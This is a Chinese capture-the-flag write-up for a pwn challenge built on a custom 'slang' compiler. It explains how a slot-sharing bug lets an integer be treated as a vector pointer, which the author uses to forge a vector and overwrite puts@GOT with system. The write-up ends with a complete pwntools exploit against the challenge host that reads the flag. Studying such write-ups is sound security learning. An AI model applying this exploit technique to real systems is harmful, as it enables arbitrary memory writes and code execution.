这道题目的逻辑并不算难，一道新型编译器也算是拓展眼界了。wp 写得会比较长，实际上并没有那么难。

不过也有点难受，就是你要新认识一个编译器，并编写出相应的代码进行篡改攻击 emmmm……

本质还是利用指针篡改 got 表

serve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
import os
import random
import string
import subprocess


BUILD_DIR = "/tmp/slang-build"
SHELL_CWD = "/home/ctf"
COMPILER = "/home/ctf/slang"
RUNTIME = "/home/ctf/runtime.c"
MAX_SOURCE = 8192


def rnd(n=12):
    return "".join(random.choice(string.ascii_letters) for _ in range(n))


def build(src):
    os.makedirs(BUILD_DIR, exist_ok=True)
    src_path = os.path.join(BUILD_DIR, rnd() + ".slang")
    c_path = os.path.join(BUILD_DIR, rnd() + ".c")
    exe_path = os.path.join(BUILD_DIR, rnd())
    with open(src_path, "w", encoding="utf-8") as f:
        f.write(src)
    with open(os.devnull, "rb") as devnull:
        if subprocess.run([COMPILER, src_path, c_path], stdin=devnull).returncode != 0:
            return None
        cmd = ["gcc", "-O0", "-Wall", "-Wextra", "-no-pie", "-o", exe_path, c_path, RUNTIME]
        if subprocess.run(cmd, stdin=devnull).returncode != 0:
            return None
    return exe_path


def read_source():
    lines = []
    cur = bytearray()
    while True:
        ch = os.read(0, 1)
        if ch == b"":
            raise EOFError
        if ch == b"\n":
            line = cur.decode("utf-8", errors="strict")
            cur.clear()
            if line == "END_OF_SOURCE":
                return "\n".join(lines)
            lines.append(line)
            if sum(len(x.encode()) + 1 for x in lines) > MAX_SOURCE:
                raise ValueError("source too large")
        else:
            cur += ch


def main():
    print("Give me slang source. End with END_OF_SOURCE.", flush=True)
    try:
        src = read_source()
    except (EOFError, UnicodeDecodeError):
        return 1
    except ValueError as e:
        print(str(e), flush=True)
        return 1
    exe = build(src)
    if not exe:
        print("compilation failed", flush=True)
        return 1
    os.chdir(SHELL_CWD)
    os.chmod(exe, 0o700)
    os.execv(exe, [exe])


if __name__ == "__main__":
    raise SystemExit(main())

文件当中有 serve.py，先看一下 serve.py 的逻辑：

  • main 函数当中先执行 read_source 读取源码，直到读取到 END_OF_SOURCE
  • 之后执行 build 函数， subprocess.run 会执行编译命令，而编译器是COMPILER = "/home/ctf/slang"

两个编译命令分别是

slang source.slang output.c

gcc -O0 -Wall -Wextra -no-pie -o exe output.c runtime.c

那么从这里可以得出一些基本结论：

  1. 程序漏洞大概率出在编译器 slang 当中
  2. gcc 执行的编译命令是 -no-pie，因此地址是固定的。

runtime.c

runtime.c 是给 slang 生成出来的 C 程序链接用的运行时库，所以它决定了 DSL 程序最终能做什么，因此这个程序大概率并不会有漏洞，但是漏洞利用一定和 runtime.c 里面的函数行为有关：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#define _GNU_SOURCE
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

typedef struct vec_t {
    int64_t *data;
    int64_t size;
} vec_t;

extern int64_t user_main(void);

static void die(const char *msg) {
    fprintf(stderr, "fatal: %s\n", msg);
    exit(1);
}

static void init_io(void) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

vec_t *rt_vec_new(int64_t n) {
    if (n < 0 || n > 64) {
        die("bad vector size");
    }
    vec_t *v = (vec_t *)malloc(sizeof(vec_t));
    if (!v) {
        die("malloc vec");
    }
    v->data = (int64_t *)calloc((size_t)n, sizeof(int64_t));
    if (n != 0 && !v->data) {
        die("malloc data");
    }
    v->size = n;
    return v;
}

static int64_t vec_load(vec_t *v, int64_t idx) {
    if (!v) {
        die("null vector");
    }
    if (idx < 0 || idx >= v->size) {
        die("vector index out of bounds");
    }
    return v->data[idx];
}

static void vec_store(vec_t *v, int64_t idx, int64_t val) {
    if (!v) {
        die("null vector");
    }
    if (idx < 0 || idx >= v->size) {
        die("vector index out of bounds");
    }
    v->data[idx] = val;
}

void rt_say(const char *s) {
    puts(s);
}

void rt_scribble(vec_t *v, int64_t idx, int64_t delta) {
    vec_store(v, idx, vec_load(v, idx) + delta);
}

void rt_keep_int(int64_t x) {
    asm volatile("" : : "r"(x) : "memory");
}

void rt_keep_str(const char *s) {
    asm volatile("" : : "r"(s) : "memory");
}

void rt_keep_vec(vec_t *v) {
    asm volatile("" : : "r"(v) : "memory");
}

int main(void) {
    init_io();
    alarm(20);
    return (int)user_main();
}

对于 runtime.c 的思考

对于 runtime.c 的漏洞，我们首先需要分析的就是他的数据结构：

1
2
3
4
5
typedef struct vec_t {
    int64_t *data;
    int64_t size;
} vec_t;

思考一下，根据这个数据结构我们可以有什么漏洞点去挖掘？

  1. vec_t 本质上就是指针 + 长度，如果我能伪造一个 vec_t，就能把 data 指向任意地址
  2. 如果后面有写接口基于 data[idx] 操作，就可能变成任意写，这是堆 PWN 中常见的操作。

下一步我们要寻找的就是对外暴露的原语：

简单来讲就是可以 malloc，printf，put，free，以及控制指针等可以利用的函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
vec_t *rt_vec_new(int64_t n) {
    if (n < 0 || n > 64) {
        die("bad vector size");
    }
    vec_t *v = (vec_t *)malloc(sizeof(vec_t));
    if (!v) {
        die("malloc vec");
    }
    v->data = (int64_t *)calloc((size_t)n, sizeof(int64_t));
    if (n != 0 && !v->data) {
        die("malloc data");
    }
    v->size = n;
    return v;
}

void rt_say(const char *s) {
    puts(s);
}

void rt_scribble(vec_t *v, int64_t idx, int64_t delta) {
    vec_store(v, idx, vec_load(v, idx) + delta);
}
  • rt_vec_new 可以申请一个堆对象 vec_t，还会附带一块 data 数组内存
  • rt_say可以利用 puts 去打印内容
  • rt_scribble可以对 v->data[idx] 做加法写，只要 v 能够伪造，之后就可以利用差值进行任意地址写。

既然我们要伪造 v，那就需要看一看伪造 v 的前提条件：

vec_load / vec_store 都会检查：

  1. v != NULL
  2. idx >= 0
  3. idx < v->size

这里并没有什么需要在意的地方，只是说我们篡改的必须是真实的堆块。

在 runtime 程序当中并没有发现 open/read/system 等危险函数，这也就意味着我们想要控制程序就必须篡改现有的函数调用，那很明显目标就是 puts 了，初步判断将 puts 表篡改成 system。

探测黑盒编译器：

对于一个黑盒编译器，我们并不知道他的语法架构，因此我们从一开始一点一点去尝试：

规定 main 函数，返回 int 类型
1
2
3
function main(): -> int {
    return 0;
}
  • function main：定义函数 main
  • ()：参数列表为空
  • : 后面本来是局部变量声明区，: 后面直接接 -> int，说明没有局部变量
  • int：返回类型是 int

执行：

1
2
nano test1.slang
./slang test1.slang test1.c

添加局部变量
1
2
3
4
function main(): int a -> int {
    a := 0;
    return a;
}

验证多个局部变量
1
2
3
4
5
function main(): int a, int b -> int {
    a := 1;
    b := 2;
    return a;
}

因此大概可以确定的是：

int a，int b ->slot[0] = a slot[1] = b ；

a := 1; b := 2; return a; -> slot[0] = 1; slot[1] = 2; return slot[0];

尝试传入参数：
1
2
3
4
5
6
7
function add(int x, int y): -> int {
    return x;
}

function main(): -> int {
    return add(1, 2);
}

尝试字符串类型：
1
2
3
4
5
function main(): str s -> int {
    s := "hello";
    say(s);
    return 0;
}

这里是为了确认 str 类型存在，且字符串字面量用双引号；say 是内建函数且可以输出字符串。

验证 vec 类型以及 vec_new：
1
2
3
4
function main(): vec v -> int {
    v := vec_new(2);
    return 0;
}

slot[] 是所有局部变量的统一存储

编译器没有给不同类型单独建变量，而是统一用：uintptr_t slot[n] 来保存所有局部变量。

这意味着：int、str、vec 在编译产物里都只是一个 uintptr_t。

类型系统在源码层面看起来有区分，但在生成的 C 里，本质上全都塞进同一种槽位里。

rt_vec_new 是运行时函数，不是编译器内联出来的

slot[0] = ((uintptr_t)rt_vec_new(((int64_t)((uintptr_t)2))));说明：vec_new(2) 实际调用的是 runtime.c 里的 rt_vec_new，返回值是 vec_t *。但编译器又把它强转成了 uintptr_t 存进 slot[0]

所以 v 在 C 里根本不是强类型 vec，只是一个整数槽里放了一个指针值。

于是：

vec 可以被当 int 返回，泄露指针值

int 可以被当 vec 返回，伪造对象指针

验证 scribble：
1
2
3
4
5
function main(): vec v -> int {
    v := vec_new(2);
    scribble(v, 0, 1);
    return 0;
}

由此可以确认 scribble 是合法调用且参数顺序是 (vec, idx, delta)

验证 if
1
2
3
4
5
6
7
function main(): int a -> int {
    a := 1;
    if (a < 2) {
      a := 3;
    }
    return a;
}

黑盒编译器总结：
  1. slot[] 是所有局部变量的统一存储，vec 可以被当 int 返回，泄露指针值，int 可以被当 vec 返回，伪造对象指针。
  2. scribble、say 是合法函数。

EXP 编写：

1
2
3
4
5
6
function leak(vec b): int a -> int {
if (a < 0) {
a := 1;
}
return a;
}

前面总结到：但 slang 编译器有 bug：参数 b 和局部变量 a 会共用同一个 slot[0]。

这里 v 是 vec_t *，传进 leak 后存在 slot[0]。由于 if (a < 0) 一般不成立，所以 slot[0] 没被改，最后直接 return slot[0]，所以 return v 的指针值。

1
2
3
4
5
6
function asvec(int a): vec b -> vec {
  if (a < 0) {
  b := vec_new(1);
  }
  return b;
}

同样利用 slot 复用，把一个整数地址当成 vec 指针返回。

在本地起 docker 环境：进入到 docker 环境测 got 表地址

1
2
3
docker build -t slang-local .
docker run -d --name slang-test -p 19999:9999 slang-local
docker exec -it slang-test /bin/sh

先写一个一定会调用 say 的 .slang，这样生成的 ELF 才会导入 puts：

1
2
3
4
5
6
7
8
9
cd /home/ctf

cat > /tmp/probe.slang << 'EOF'
function main(): str s -> int {
s := "hello";
say(s);
return 0;
}
EOF

先让 slang 编成 C：

1
2
./slang /tmp/probe.slang /tmp/probe.c
cat /tmp/probe.c

再编成 ELF：

1
gcc -O0 -Wall -Wextra -no-pie -o /tmp/probe /tmp/probe.c runtime.c

取 PUTS_GOT：

1
objdump -R /tmp/probe | grep puts

先确认 libc

1
ldd /tmp/probe

一般会看到：libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6

然后查这份 libc 里的符号偏移：

1
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | egrep ' puts@@| system@@'

所以： SYSTEM_MINUS_PUTS = 0x52290 - 0x84420

       PUTS_GOT = 0x404018

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
HOST = "pwn-126d079a6e.adworld.xctf.org.cn"
PORT = 9999
PUTS_GOT = 0x404018
SYSTEM_MINUS_PUTS = 0x52290 - 0x84420

def start():
    if args.REMOTE:
        return remote(HOST, PORT, ssl=True)
    # 本地：process(["python3", "/home/ctf/server.py"])
    return process(["python3", "/home/ctf/server.py"])


def send(io, src):
    io.recvuntil(b"END_OF_SOURCE.")
    io.send(src.encode() + b"\nEND_OF_SOURCE\n")


src = f"""function leak(vec b): int a -> int {{
if (a < 0) {{wo
a := 1;
}}
return a;
}}

function asvec(int a): vec b -> vec {{
if (a < 0) {{
b := vec_new(1);
}}
return b;
}}

function main(): int p, int fakep, vec v, vec fake -> int {{
v := vec_new(2);
p := leak(v);
                                           
fakep := p + 32;
say("warmup");
scribble(v, 0, {PUTS_GOT});
scribble(v, 1, 1);
fake := asvec(fakep);
scribble(fake, 0, {SYSTEM_MINUS_PUTS});
say("cat /home/ctf/flag");
return 0;
}}"""


if __name__ == "__main__":
    io = start()
    send(io, src)
    print(io.recvall(timeout=3).decode("latin1", errors="ignore"))

由此可以编写出一份.slong 文件：总结一下攻击流程：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
vec_new(2)
  ↓
得到真实 vec
  ↓
leak(v) 把 vec_t* 变成 int
  ↓
p + 32 找到 v->data
  ↓
把 v->data 伪造成 fake vec_t
  ↓
fake->data = puts@GOT
fake->size = 1
  ↓
scribble(fake, 0, system - puts)
  ↓
puts@GOT 改成 system
  ↓
say("cat /home/ctf/flag")
  ↓
system("cat /home/ctf/flag")

说些什么吧！

utterances